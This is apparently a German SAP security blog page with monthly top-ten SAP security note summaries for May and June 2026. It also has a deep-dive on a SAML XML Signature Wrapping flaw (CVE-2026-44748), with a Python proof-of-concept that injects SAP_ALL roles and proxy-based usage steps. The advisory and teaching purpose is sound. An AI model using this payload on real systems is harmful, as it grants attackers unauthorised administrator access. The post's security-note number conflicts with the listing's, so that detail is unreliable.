Im SAP NetWeaver Application Server Java existiert eine Schwachstelle, über die nicht authentifizierte Angreifer Schadcode in Form von JavaScript über speziell präparierte URLs einschleusen können. Sobald ein Anwender eine solche URL aufruft, wird das Skript direkt in dessen Browser ausgeführt. Dies erlaubt es dem Angreifer, vertrauliche Sitzungsinformationen (Session-Daten) abzugreifen oder die im Client-Browser angezeigten, nicht-sensiblen Daten zu manipulieren. Die Sicherheitslücke hat erhebliche Auswirkungen auf die Vertraulichkeit, geringe Folgen für die Integrität und beeinträchtigt die Verfügbarkeit der Anwendung nicht.

8. Score 8.1 (Medium Priority)

Nummer: 3741519

[CVE-2026-44745] Open-Redirect-Schwachstelle in SAP Approuter

Der SAP Approuter prüft in bestimmten Konfigurationen eingehende Request-Header während des OAuth2-Authentifizierungsprozesses unzureichend. Diese Schwachstelle erlaubt es nicht authentifizierten Remote-Angreifern, manipulierte Links zu generieren. Klickt ein Opfer auf einen solchen Link, kann sich der Angreifer unberechtigten Zugriff verschaffen. Ein erfolgreicher Angriff gefährdet die Vertraulichkeit und Integrität der Anwendung in hohem Maße, während die Verfügbarkeit unangetastet bleibt.

9. Score 8.1 (Medium Priority)

Nummer: 3763800

[Mehrere CVEs] Mehrere Schwachstellen in Apache Tomcat in SAP Commerce Cloud

CVE-2026-43512 – Umgehung der Digest-Authentifizierung (CVSS 8.1)
Bei der Verarbeitung von Authentifizierungsanfragen fehlerhafter bzw. nicht existierender Benutzerkonten in der zugrunde liegenden Identitätsdatenbank weist Apache Tomcat logische Mängel auf. Ein anonymer Remote-Angreifer kann diesen Fehler nutzen, um die Anmeldeprozesse auszuhebeln und unbefugten Zugriff auf geschützte Systembereiche zu erlangen. Dies birgt erhebliche Risiken für die Vertraulichkeit, Integrität und Verfügbarkeit der Plattform.

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2026-41293 – Unzureichende Validierung von HTTP/2-Request-Headern (CVSS 8.1)
Apache Tomcat überprüft dekodierte Zeichen innerhalb von HTTP/2-Anfrageheadern nicht fehlerfrei. Nicht authentifizierte Angreifer aus dem Netzwerk können über manipulierte Requests mit unzulässigen Header-Elementen unvorhersehbare Systemreaktionen hervorrufen. Ein Missbrauch hat potenziell schwerwiegende Konsequenzen für die Vertraulichkeit, Integrität und Verfügbarkeit der Anwendung.

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2026-43515 – Fehlerhafte Rechtevergabe bei kollidierenden Sicherheitsvorgaben (CVSS 7.4)
Aufgrund einer ungenauen Umsetzung deklarativer Autorisierungsregeln bei überlappenden Sicherheitsvorgaben in Apache Tomcat können externe, unbefugte Akteure bestehende Zugriffssperren aushebeln. Auf diesem Weg lässt sich unberechtigter Zugriff auf sensible Ressourcen erzwingen, was die Vertraulichkeit und Integrität des Systems stark beeinträchtigt.

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

10. Score 7.6 (Medium Priority)

Nummer: 3773304

[CVE-2026-58233] Schwachstelle bezüglich Remote-Ausführung von Code in Anhangs-Tool (ctsAttach) von SAP Change and Transport System

Über das Anhangs-Tool (ctsAttach) im SAP Change and Transport System können authentifizierte Angreifer eine manipulierte Archivdatei in das System einschleusen. Sobald diese Datei durch die Anwendungsbibliothek verarbeitet wird, löst sie eine unsichere Deserialisierung aus. Damit der Angriff erfolgreich ist, muss ein Anwender die schädliche Archivdatei aktiv ausführen – geschieht dies, kann der Angreifer Schadcode aus der Ferne ausführen (RCE), sensible Systemdaten abgreifen sowie die Kontrolle über das System und dessen Prozesse übernehmen. Die Schwachstelle gefährdet die Vertraulichkeit und Integrität der Daten massiv, während das Risiko für die Systemverfügbarkeit als gering eingestuft wird.

>> Weitere Security Notes https://me.sap.com/securitynotes

Das regelmäßige Einspielen von Security-Patches ist aus drei Gründen unverzichtbar:

Schutz vor Totalausfall & Sabotage: Wie die aktuellen Meldungen zu Denial-of-Service (DoS) zeigen, können Angreifer Systeme gezielt lahmlegen. Ohne Patches riskieren Unternehmen kostspielige Stillstände der gesamten Produktion oder des Vertriebs.
Prävention von Datendiebstahl: Schwachstellen wie SQL-Injections oder XML-Manipulationen sind offene Türen für Industriespionage. Einmal im System, können Angreifer unbemerkt sensible Geschäftsgeheimnisse oder Kundendaten absaugen.
Compliance & Haftung: Gesetzliche Anforderungen (wie die DSGVO) und interne Audits fordern ein angemessenes Sicherheitsniveau. Wer bekannte Lücken offen lässt, handelt grob fahrlässig und riskiert nicht nur Bußgelder, sondern auch einen massiven Reputationsverlust.

18. Juni 2026

CVE-2026-44748: Warum SAML Signatures scheitern — und wie XSW das ausnutzt (PoC)

Seit dem Juni Patch Day steht die „Patch Note 3746332“ im Fokus.
Warum hat die einen CVSS 9.9 wert?
Und warum bekommt ein „low-priv User“ plötzlich SAP_ALL, ohne dass der IdP (Entra ID) auch nur mitbekommt, dass die Rollen manipuliert wurden?
Ich habe mir die Mechanics der XML Signature Wrapping (XSW) Attacke angesehen. Hier ist, was wirklich passiert.
—

Das Problem: Crypto-Validierung vs. XPath-Logik

SAML Assertions werden signiert. Das ist klar. Die Falle liegt im Scope der Auswertung. Im betroffenen NetWeaver-SP wurde die kryptografische Signatur über einen spezifischen XML-Knoten (<ds:Reference URI="#_assertion_id">) validiert. Die Attribute-Resolution (Rollen, Gruppen) hat aber einen ungenauen XPath-Pfad genutzt, um <saml:AttributeStatement> im Dokument zu suchen. Ergebnis: Die Krypto-Prüfung validiert das eine Element (die ID). Die Applikationslogik liest ein anderes, injiziertes Element aus. Das ist reiner XSW.

—

Der Angriffsschritt

1. Legitimer Login (Struktur)

User t.werth@test.onmicrosoft.com loggt sich per SAML in SAP ein. Entra ID generiert eine signierte Response. Die Struktur ist strikt:

<samlp:Response ID="_resp">
  <saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>
  
  <ds:Signature>
    <ds:SignedInfo>
      <!-- Signiert den Inhalt von _assertion_id -->
      <ds:Reference URI="#_assertion_id">
         <!-- ... DigestValue ... -->
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
  </ds:Signature>
  
  <!-- Die eigentliche Assertion -->
  <saml:Assertion ID="_assertion_id">
    <saml:Subject>...</saml:Subject>
    
    <saml:AttributeStatement>
      <saml:Attribute Name="groups">
        <saml:AttributeValue>SAP_Users</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Alles sauber. Signatur deckt _assertion_id ab. Rollen sind SAP_Users.

2. Intercept & Wrap (XSW Manipulation)

Hier kommt XSW ins Spiel. Der Angreifer fängt die Response ab und manipuliert die XML-Struktur.

Wir fügen ein neues, unsigniertes Element in den Response-Baum ein — auf derselben Ebene, außerhalb der signierten Assertion, aber innerhalb des Response-Dokuments.

<samlp:Response ID="_resp">
  <saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>
  
  <!-- ✨ INJEKTION: Unsigniertes Schwesterelement ✨ -->
  <saml:AttributeStatement>
    <saml:Attribute Name="groups">
      <saml:AttributeValue>SAP_ALL</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>

  <ds:Signature>
    <ds:SignedInfo>
      <ds:Reference URI="#_assertion_id">
         <!-- Digest passt weiterhin auf die Assertion unten! -->
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
  </ds:Signature>
  
  <!-- Original Assertion (intakt) -->
  <saml:Assertion ID="_assertion_id">
    <saml:Subject>...</saml:Subject>
    
    <saml:AttributeStatement>
      <saml:Attribute Name="groups">
        <saml:AttributeValue>SAP_Users</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

3. Was NetWeaver macht

* Der Krypto-Check: Der Validator löst die Referenz #_assertion_id auf. Er prüft den Digest nur für diesen spezifischen Knoten. Da dieser Knoten unverändert ist, ist die Signatur mathematisch 100% gültig.

* Die Business-Logik: Der XML-Parser nutzt einen „dummen“ XPath (z.B. //saml:AttributeStatement[1]), um die Gruppen zu lesen. Der Parser findet das erste* AttributeStatement im Baum. * Das ist jetzt unser injiziertes Element: SAP_ALL.

* Das Ergebnis: Die Session wird mit Admin-Rechten erstellt. Entra ID hat alles korrekt signiert. Die Signatur ist echt. Der Fehler liegt exklusiv in der XML-Verarbeitung auf Empfängerseite: Sie kopiert die Krypto-Validierung und die Daten-Extraktion nicht an denselben Knoten.

—

PoC (Python, concept level)

import base64
from lxml import etree

def xsw_wrap_saml(original_b64: str, inject_roles: list) -> str:
    """
    SAML Response Wrap PoC
    Fügt ein unsigniertes AttributeStatement als Schwesterelement der Assertion ein.
    """
    # XML dekodieren
    xml_bytes = base64.b64decode(original_b64)
    response = etree.fromstring(xml_bytes)
    
    # Namespaces sauber registrieren, um ns0-Präfixe zu verhindern
    SAML_NS = 'urn:oasis:names:tc:SAML:2.0:assertion'
    etree.register_namespace('saml', SAML_NS)
    
    # 1. Neues AttributeStatement erstellen
    fake_attrs = etree.Element(f'{{{SAML_NS}}}AttributeStatement')
    roles_attr = etree.SubElement(fake_attrs, 
                                   f'{{{SAML_NS}}}Attribute', 
                                   Name='groups')
    
    for role in inject_roles:
        val_elem = etree.SubElement(roles_attr, f'{{{SAML_NS}}}AttributeValue')
        val_elem.text = role
        
    # 2. Position der Assertion bestimmen
    insert_index = 0
    for i, child in enumerate(response):
        if 'Assertion' in child.tag:
            insert_index = i
            break
            
    # Vor der echten Assertion einfügen
    response.insert(insert_index, fake_attrs)
    
    # 3. Export OHNE erzwungenes c14n, um die Original-Signaturelemente nicht zu verfälschen
    return base64.b64encode(etree.tostring(response, xml_declaration=True, encoding='utf-8')).decode()

Usage:

1. Proxy fängt SAMLResponse POST ab

2. xsw_wrap_saml() injiziert unsigniertes Element

3. Payload an SAP weiterleiten

4. SAP_ALL Session zurück (weil XPath das falsche Element trifft)

—

Warum das kein „Edge Case“ ist

SAML/XSW ist ein bekanntes Strukturgremium-Problem:

* XSW-XSS / XSW-XML — ähnliche Pattern bei SOAP & OAuth

* XPath Resolution Mismatch — Validator nutzt ID-Reference, App nutzt //tag[1]

* Scope-Verletzung — Die Validierung findet im Scope #_id statt, die Nutzung im Scope Response.

Das funktioniert mit jedem IdP: Entra ID, Okta, Keycloak. Der IdP ist irrelevant. Die Signatur wird nicht gebrochen, sie wird nur „umgangen“, indem der Parser den falschen Pfad im Baum nimmt.

—

Remediation Patchen:

Security Note 3746332 installieren. Sofort.

—

* CVE-2026-44748 ist ein XSW-Angriff auf SAML in SAP NetWeaver

* Signatur bleibt mathematisch gültig — der XPath-Pfad liest nur das falsche Element

* Low-priv User → SAP_ALL in einem Request * Entra ID hat nie mitbekommen, was passiert

* Patch + Scope-Validierung + XPath-Hardening = gut

9. Juni 20269. Juni 2026

Aktuelle Patches

Top 10 der SAP Security Notes für Juni 2026.

1. Score 9.9 (Hot News)

Nummer: 3733332

[CVE-2026-44748] XML Signature Wrapping in SAML-Authentifizierung in SAP NetWeaver AS ABAP und ABAP-Plattform

Der SAP NetWeaver Application Server ABAP sowie die ABAP-Plattform weisen eine Schwachstelle auf, durch die ein authentifizierter Benutzer mit regulären Berechtigungen eine gültig signierte Nachricht erhalten und anschließend veränderte, signierte XML-Dokumente an die prüfende Instanz übermitteln kann. Dadurch besteht die Gefahr, dass manipulierte Identitätsinformationen akzeptiert werden. In der Folge können unberechtigte Zugriffe auf vertrauliche Benutzerdaten erfolgen und die ordnungsgemäße Nutzung des Systems beeinträchtigt werden. Die Sicherheitslücke kann erhebliche Auswirkungen auf die Vertraulichkeit, Integrität und Verfügbarkeit der betroffenen Anwendung haben.

2. Score 9.8 (Hot News)

Nummer: 3724897

[CVE-2026-27671] Speicherbeschädigungsschwachstelle in Application Server ABAP von SAP NetWeaver und ABAP-Plattform

Eine fehlerhafte Validierung des RFC-Protokolls im SAP-Kernel, der vom Application Server ABAP innerhalb von SAP NetWeaver sowie der ABAP-Plattform genutzt wird, ermöglicht es einem nicht authentifizierten Angreifer, eine gezielt präparierte RFC-Anfrage zu übermitteln. Durch die Ausnutzung von Schwächen in der Speicherverwaltung kann dies zu Speicherbeschädigungen führen. Die daraus resultierenden Auswirkungen können die Vertraulichkeit, Integrität und Verfügbarkeit der betroffenen Anwendung in erheblichem Maße beeinträchtigen.

3. Score 9.1 (Hot news)

Nummer: 3732262

[CVE-2026-22732] Mögliche Spring-Security-Schwachstelle in SAP Commerce Cloud und SAP Data Hub

SAP Commerce Cloud und SAP Data Hub setzen eine Version von Spring Security ein, die möglicherweise von der Schwachstelle CVE-2026-22732 betroffen ist. In bestimmten Szenarien kann es dazu kommen, dass Spring Security HTTP-Antwort-Header, darunter auch sicherheitsrelevante Header, nicht ordnungsgemäß in die Antwort einfügt. Dies kann erhebliche Auswirkungen auf die Vertraulichkeit und Integrität der Anwendung haben, während die Verfügbarkeit davon unberührt bleibt.

4. Score 9.0 (Hot News)

Nummer: 3730078

[CVE-2026-40128] Directory-Traversal-Schwachstelle in SAP NetWeaver Application Server Java (Web-Container)

Im Web-Container des SAP NetWeaver Application Server Java besteht die Möglichkeit, dass ein nicht authentifizierter Angreifer eine manipulierte HTTP-Anfrage zur Anmeldung erstellt. Durch die gezielte Beeinflussung von Dateieinbindungsparametern kann ein Path-Traversal-Angriff durchgeführt und die Verarbeitung einer eingebundenen Datei ausgelöst werden. Dadurch könnte der Angreifer auf vertrauliche Informationen zugreifen, Daten verändern oder die Funktionsfähigkeit einzelner Komponenten des lokalen Systems beeinträchtigen.

5. Score 7.4 (High Priority)

Nummer: 3718484

[CVE-2026-29145] Mehrere Schwachstellen in Apache Tomcat in SAP Commerce Cloud

Symptom
Dieser Sicherheitshinweis beschreibt mehrere bekannte Sicherheitslücken in Apache Tomcat, die SAP Commerce Cloud betreffen. Weitere Informationen zu den einzelnen Schwachstellen sowie die zugehörigen CVE- und CVSS-Bewertungen sind nachfolgend aufgeführt.

SAP Commerce Cloud nutzt eine Apache-Tomcat-Version, die verschiedene bekannte Schwachstellen enthält. Die betroffenen Fehler stehen im Zusammenhang mit Mechanismen zur zertifikatsbasierten Authentifizierung und Zertifikatsprüfung.

CVE-2026-29145
Unter bestimmten, nicht standardmäßigen Konfigurationen kann ein Fehler dazu führen, dass die Authentifizierung mittels Client-Zertifikat erfolgreich durchgeführt wird, obwohl sie eigentlich fehlschlagen müsste. Dadurch könnte ein unbefugter Zugriff auf geschützte Ressourcen ermöglicht werden. Die Schwachstelle hat erhebliche Auswirkungen auf die Vertraulichkeit und Integrität der Anwendung, während die Verfügbarkeit nicht betroffen ist.
CVSS: 7.4; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE-2025-66614
Bei bestimmten Nicht-Standardkonfigurationen kann eine inkonsistente Prüfung zwischen dem SNI-Wert und dem HTTP-Host-Header dazu führen, dass die Durchsetzung von Client-Zertifikaten umgangen wird. Dies kann die Vertraulichkeit und Integrität der Anwendung erheblich gefährden, ohne die Verfügbarkeit zu beeinträchtigen.
CVSS: 7.4; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE-2026-24734
Eine fehlerhafte Überprüfung von OCSP-Antworten kann unter bestimmten Konfigurationsbedingungen dazu führen, dass widerrufene Zertifikate weiterhin für Authentifizierungszwecke akzeptiert werden. Dadurch entstehen erhebliche Risiken für die Vertraulichkeit und Integrität der Anwendung, während die Verfügbarkeit unverändert bleibt.
CVSS: 7.4; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

6. Score 7.1 (High Priority)

Nummer: 3721546

[CVE-2026-44751] Fehlende Berechtigungsprüfung in Application Server ABAP von SAP NetWeaver und ABAP-Plattform

Im Application Server ABAP werden für einen bereits authentifizierten Anwender nicht alle notwendigen Berechtigungschecks durchgeführt. Dies erlaubt es einem Angreifer, einen Befehl zur Erstellung eines Berichts abzusetzen, durch den möglicherweise Daten eines anderen Nutzers überschrieben werden. Die Folge ist eine Eskalation von Berechtigungen. Die Auswirkungen auf die Integrität sind erheblich, auf die Verfügbarkeit gering; die Vertraulichkeit bleibt unbeeinträchtigt.

7. Score 6.6 (Medium Priority)

Nummer: 3716819

[CVE-2026-44754] Fehlender Aufruferidentifikations-Check-In für ODP-Datenreplikations-APIs

Bei den RFC-Bausteinen der ODP-Datenreplikations-API (ODP-RFC) unterbleibt die Prüfung, ob der Aufrufer eine zulässige SAP-interne Anwendung ist. Dadurch können Kunden- oder Drittanbieteranwendungen diese Bausteine auf eine nicht vorgesehene Weise nutzen. Dies birgt die Gefahr einer versehentlichen Datenpreisgabe. Die Integrität der Daten bleibt jedoch unberührt, und das Risiko für die Verfügbarkeit der Anwendung ist äußerst gering.

Weitere Details enthält der SAP-Hinweis 3255746.

8. Score 6.5 (Medium Priority)

Nummer: 3728691

[CVE-2026-44744] SQL-Injection-Schwachstelle in SAP S/4HANA

In der lokalen Version von SAP S/4HANA (On-Premise) liegt eine Schwachstelle bezüglich SQL-Einschleusung vor. Diese betrifft eine remote aufrufbare Funktionsbaustein-Komponente. Ein authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um nicht autorisierte Datenbankabfragen durchzuführen. Dadurch werden vertrauliche Daten preisgegeben, zu denen ein Angreifer normalerweise keinen Zugang hätte. Die Vertraulichkeit ist damit erheblich betroffen, während Integrität und Verfügbarkeit der Anwendung unbeeinträchtigt bleiben.

9. Score 6.1 (Medium Priority)

Nummer: 3726655

[CVE-2026-44746] Reflected-Cross-Site-Scripting-Schwachstelle (XSS) in SAP NetWeaver AS Java (JDBC Test Servlet)

Aufgrund einer Reflected-Cross-Site-Scripting-Schwachstelle (XSS) in SAP NetWeaver AS Java (JDBC Test Servlet) kann ein nicht authentifizierter Angreifer eine URL erstellen, die ein schädliches Skript einbettet. Klickt ein Opfer auf diesen Link, wird die eingeschleuste Eingabe während der Webseitengenerierung verarbeitet, was die Ausführung von schädlichen Inhalten im Browser des Opfers zur Folge hat. Dies könnte es dem Angreifer ermöglichen, auf Informationen zum Web-Client zuzugreifen und/oder diese zu ändern, wodurch Vertraulichkeit und Integrität der Anwendung beeinträchtigt werden. Die Verfügbarkeit bleibt unbeeinträchtigt.

10. Score 4.7 (Medium Priority)

Nummer: 3726280

[CVE-2026-44757] Cross-Site-Scripting-Schwachstelle (XSS) in CA Introscope Enterprise Manager

Im CA Introscope Enterprise Manager kann ein nicht authentifizierter Angreifer eine manipulierte URL erstellen. Wenn ein Opfer diese URL unter bestimmten Voraussetzungen aufruft, wird ein eingeschleuster Skriptcode im Browser des Opfers ausgeführt – und zwar im Kontext der betroffenen Anwendung. Diese Schwachstelle beeinträchtigt die Vertraulichkeit und Integrität der Anwendung in geringem Maße, während die Verfügbarkeit davon unberührt bleibt.

>> Weitere Security Notes https://me.sap.com/securitynotes

Das regelmäßige Einspielen von Security-Patches ist aus drei Gründen unverzichtbar:

Schutz vor Totalausfall & Sabotage: Wie die aktuellen Meldungen zu Denial-of-Service (DoS) zeigen, können Angreifer Systeme gezielt lahmlegen. Ohne Patches riskieren Unternehmen kostspielige Stillstände der gesamten Produktion oder des Vertriebs.
Prävention von Datendiebstahl: Schwachstellen wie SQL-Injections oder XML-Manipulationen sind offene Türen für Industriespionage. Einmal im System, können Angreifer unbemerkt sensible Geschäftsgeheimnisse oder Kundendaten absaugen.
Compliance & Haftung: Gesetzliche Anforderungen (wie die DSGVO) und interne Audits fordern ein angemessenes Sicherheitsniveau. Wer bekannte Lücken offen lässt, handelt grob fahrlässig und riskiert nicht nur Bußgelder, sondern auch einen massiven Reputationsverlust.

12. Mai 20269. Juni 2026

Aktuelle Patches

Top 10 der SAP Security Notes für Mai2026.

1. Score 9.6 (Hot News)

Nummer: 3733064

[CVE-2026-34263] Fehlende Authentifizierungsprüfung in SAP-Commerce-Cloud-Konfiguration

In SAP Commerce Cloud wurde eine kritische Sicherheitslücke entdeckt, die auf eine Fehlkonfiguration des Spring Security-Frameworks zurückzuführen ist. Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, über einen manipulierten Konfigurations-Upload eine Code-Injection durchzuführen. Dies führt im schlimmsten Fall dazu, dass der Angreifer die vollständige Kontrolle über den Server erlangt, was erhebliche Auswirkungen auf die Vertraulichkeit, Integrität und Verfügbarkeit der gesamten E-Commerce-Plattform hat. Um dieses Sicherheitsrisiko zu beheben, sollten Administratoren die entsprechenden Patches und Updates sofort einspielen.

2. Score 9.6 (Hot News)

Nummer: 3724838

[CVE-2026-34260] SQL-Injection-Schwachstelle in SAP S/4HANA (SAP Enterprise Search für ABAP)

In der SAP Enterprise Search für ABAP, einer Komponente von SAP S/4HANA, wurde eine Sicherheitslücke entdeckt, die authentifizierten Angreifern eine SQL-Injection ermöglicht. Diese Schwachstelle entsteht, weil die Anwendung Benutzereingaben direkt in SQL-Abfragen verkettet, ohne diese zuvor ausreichend zu validieren oder zu bereinigen. Ein Angreifer kann diese ungesicherten Eingaben ausnutzen, um schädliche SQL-Anweisungen in die Abfragen einzuschleusen und an die zugrunde liegende Datenbank zu übermitteln. Nach erfolgreicher Ausnutzung ist der Angreifer in der Lage, unberechtigten Zugriff auf vertrauliche Datenbankinformationen zu erlangen. Zudem besteht die Gefahr, dass die Anwendung durch die eingeschleusten Befehle zum Absturz gebracht wird. Dies hat erhebliche negative Auswirkungen auf die Vertraulichkeit der Daten und die Verfügbarkeit des Systems, während die Integrität der Daten nicht direkt beeinträchtigt wird.

3. Score 8.2 (High priority)

Nummer: 3732471

[CVE-2026-34259] OS-Command-Injection-Schwachstelle in SAP Forecasting and Replenishment

In SAP Forecasting and Replenishment (F&R) wurde eine kritische Schwachstelle im Zusammenhang mit der Ausführung von Betriebssystembefehlen (OS Command Execution) festgestellt. Diese Lücke ermöglicht es einem authentifizierten Angreifer, der bereits über administrative Berechtigungen verfügt, eine eigentlich nicht remote-fähige Funktion für bösartige Zwecke zu missbrauchen. Durch diese missbräuchliche Nutzung kann der Angreifer beliebige Betriebssystembefehle ausführen. Dies gestattet ihm, sensible Systemdaten unbefugt auszulesen oder zu manipulieren, sowie das gesamte System vollständig herunterzufahren. Im Ergebnis führt die erfolgreiche Ausnutzung zu einer vollständigen Kompromittierung der Vertraulichkeit, Integrität und Verfügbarkeit des gesamten F&R-Systems. Die betroffenen Systeme sollten umgehend aktualisiert werden, um diesen Angriffsvektor zu schließen.

4. Score 6.5 (Medium Priority)

Nummer: 3730019

[CVE-2026-40135] BS-Command-Injection-Schwachstelle in SAP NetWeaver Application Server für ABAP und ABAP-Plattform

Eine neu entdeckte Sicherheitslücke betrifft den SAP NetWeaver Application Server für ABAP sowie die ABAP-Plattform. Es handelt sich um eine BS-Command-Injection-Schwachstelle, die besonders brisant ist. Ein Angreifer, der bereits über administrative Rechte verfügt, kann diese Lücke ausnutzen, um manipulierte Shell-Befehle direkt auf dem Server abzusetzen. Das kritische Element hierbei ist die Fähigkeit des Angreifers, den Protokollierungsmechanismus zu umgehen. Infolgedessen können schädliche Betriebssystembefehle völlig unbemerkt und ohne Spur in den Logs ausgeführt werden. Dies bedroht unmittelbar die Integrität und die Verfügbarkeit der betroffenen Anwendung. Wichtig zu wissen ist, dass laut SAP die Vertraulichkeit der Daten durch diese spezifische Lücke nicht gefährdet ist. Betreiber sollten dennoch umgehend Patches einspielen, um die Systemintegrität sicherzustellen.

5. Score 6.3 (Medium Priority)

Nummer: 3718083

[CVE-2026-40133] Fehlende Berechtigungsprüfung in SAP-S/4HANA-Konditionspflege

Auch die SAP-S/4HANA-Konditionspflege weist eine Sicherheitslücke auf, die auf eine fehlende Berechtigungsprüfung zurückzuführen ist. Diese Schwachstelle ermöglicht es einem authentifizierten Angreifer, unbefugten Zugriff auf Konditionstabellensätze zu erlangen. Dadurch können diese Sätze unrechtmäßig eingesehen und sogar modifiziert werden. Obwohl die direkten Auswirkungen auf die Vertraulichkeit und Integrität der Daten laut SAP als gering eingestuft werden, besteht ein weiteres Risiko: Die Schwachstelle kann rechtmäßige Benutzer am Zugriff auf die Datensätze hindern. Dies beeinträchtigt die Verfügbarkeit der Anwendung in geringem Maße. Betreiber sollten die entsprechenden Patches und Updates zeitnah einspielen, um die Systemsicherheit und den reibungslosen Ablauf zu gewährleisten.

6. Score 6.1 (Medium Priority)

Nummer: 3727717

[CVE-2026-40137] Cross-Site-Scripting-Schwachstelle (XSS) in Business-Server-Pages-Anwendung (TAF_APPLAUNCHER)

In einer neu entdeckten Sicherheitslücke in der SAP-Komponente TAF_APPLAUNCHER innerhalb von Business Server Pages (BSP) liegt ein beträchtliches Risiko. Ein nicht authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um gezielt manipulierte Links zu erstellen. Wenn ein Opfer, ob angemeldet oder nicht, auf einen dieser Links klickt, wird dessen Browser automatisch auf eine externe, vom Angreifer kontrollierte Website umgeleitet. Auf dieser schädlichen Seite könnte der Angreifer potenziell vertrauliche Informationen, die im Browser des Opfers gespeichert sind, auslesen oder manipulieren. Während dies ein begrenztes Risiko für die Vertraulichkeit und Integrität der Anwendung darstellt, ist die Verfügbarkeit der Anwendung keineswegs gefährdet. Betreiber sollten die entsprechenden Patches zeitnah einspielen.

7. Score 5.4 (Medium Priority)

Nummer: 3721959

[CVE-2026-40132] Fehlende Berechtigungsprüfung in SAP Strategic Enterprise Management (BSP-Applikation „Balanced Scorecard Wizard“)

Eine Sicherheitslücke im SAP Strategic Enterprise Management (SEM), genauer gesagt im Scorecard Wizard innerhalb der Business Server Pages (BSP), resultiert aus einer fehlenden Berechtigungsprüfung. Dies ermöglicht es einem bereits authentifizierten Angreifer, unbefugt auf geschützte Informationen zuzugreifen. Über diesen Informationszugriff hinaus kann die Schwachstelle ausgenutzt werden, um Standardeinstellungen zu modifizieren und Wertefelder zu manipulieren. Dies führt zu einer Verfälschung von Risikobewertungen und kann dazu führen, dass eingeschätzte Risikostufen fälschlicherweise herabgestuft werden. Aufgrund dieser Manipulationsmöglichkeiten sind die Vertraulichkeit und Integrität der Daten in geringem Maße beeinträchtigt, während die Verfügbarkeit der Anwendung unbeeinflusst bleibt.

8. Score 4.8 (Medium Priority)

Nummer: 3716450

[CVE-2025-68161] Mögliche fehlerhafte Zertifikatsvalidierung in SAP Commerce Cloud (Apache Log4j)

Ein bekanntes Sicherheitsrisiko (CVE-2025-68161) im Zusammenhang mit veralteten Apache Log4j-Komponenten betrifft auch SAP Commerce Cloud. Die Schwachstelle liegt konkret im SocketAppender von Log4j Core, wo eine korrekte TLS-Hostnamensverifikation fehlt. Dies ermöglicht es nicht authentifizierten Angreifern, sich über das Netzwerk zwischen den Protokollserver und den Client zu schalten. Im Rahmen eines Man-in-the-Middle-Angriffs können so sensible Protokolldaten während der Übertragung abgefangen, mitgelesen oder sogar umgeleitet werden. Zwar stuft SAP die Auswirkungen auf Vertraulichkeit und Integrität nur als gering ein und schließt eine Beeinträchtigung der Verfügbarkeit aus, doch sollten Admins den entsprechenden Patch einspielen, um diesen Angriffsvektor zu schließen.

9. Score 4.7 (Medium Priority)

Nummer: 3728690

[CVE-2026-27682] Reflected-Cross-Site-Scripting-Schwachstelle (XSS) in SAP NetWeaver Application Server ABAP (Anwendungen auf Basis von Business Server Pages)

Im SAP NetWeaver Application Server ABAP wurde eine Reflected-Cross-Site-Scripting-Schwachstelle (XSS) innerhalb von Anwendungen identifiziert, die auf Business Server Pages (BSP) basieren. Ein nicht authentifizierter Angreifer kann diese Lücke ausnutzen, indem er eine speziell präparierte URL erstellt, die einen ungesicherten Parameter verwendet, um schädliche Skripte einzubetten. Sobald ein Opfer diesen manipulierten Link aufruft, wird der injizierte Code während der Generierung der Webseite verarbeitet und direkt im Browserkontext des Nutzers ausgeführt. Dies ermöglicht es dem Angreifer potenziell, auf sensible Informationen zuzugreifen oder Daten unbefugt zu modifizieren. Während die Vertraulichkeit und die Integrität der Anwendung durch diesen Angriff beeinträchtigt werden, hat die Schwachstelle keine Auswirkungen auf die allgemeine Verfügbarkeit des Systems.

10. Score 4.7 (Medium Priority)

Nummer: 3726583

[CVE-2026-34258] Content-Spoofing-Schwachstelle in SAPUI5 (Such-UI)

SAPUI5 (Such-UI) ermöglicht es einem nicht authentifizierten Angreifer, bestimmte URL-Parameter auf der Such-UI zu manipulieren, um schädlichen Inhalt einzuschließen. Eine erfolgreiche Ausnutzung kann Opferbenutzer dazu führen, dass sie auf eine von der Anwendung gerenderte, vom Angreifer gesteuerte Seite klicken und darauf zugreifen können. Diese Schwachstelle hat geringe Auswirkungen auf die Vertraulichkeit ohne Auswirkungen auf die Integrität und Verfügbarkeit der Anwendung.

>> Weitere Security Notes, 8 mit der Priorität Medium und 2 mit Low Priority https://me.sap.com/securitynotes

Das regelmäßige Einspielen von Security-Patches ist aus drei Gründen unverzichtbar:

Schutz vor Totalausfall & Sabotage: Wie die aktuellen Meldungen zu Denial-of-Service (DoS) zeigen, können Angreifer Systeme gezielt lahmlegen. Ohne Patches riskieren Unternehmen kostspielige Stillstände der gesamten Produktion oder des Vertriebs.
Prävention von Datendiebstahl: Schwachstellen wie SQL-Injections oder XML-Manipulationen sind offene Türen für Industriespionage. Einmal im System, können Angreifer unbemerkt sensible Geschäftsgeheimnisse oder Kundendaten absaugen.
Compliance & Haftung: Gesetzliche Anforderungen (wie die DSGVO) und interne Audits fordern ein angemessenes Sicherheitsniveau. Wer bekannte Lücken offen lässt, handelt grob fahrlässig und riskiert nicht nur Bußgelder, sondern auch einen massiven Reputationsverlust.

11. Mai 2026

Deep-Dive: Dirty Frag — Warum Angreifer jetzt jeden SAP Linux-Server „rooten“ können

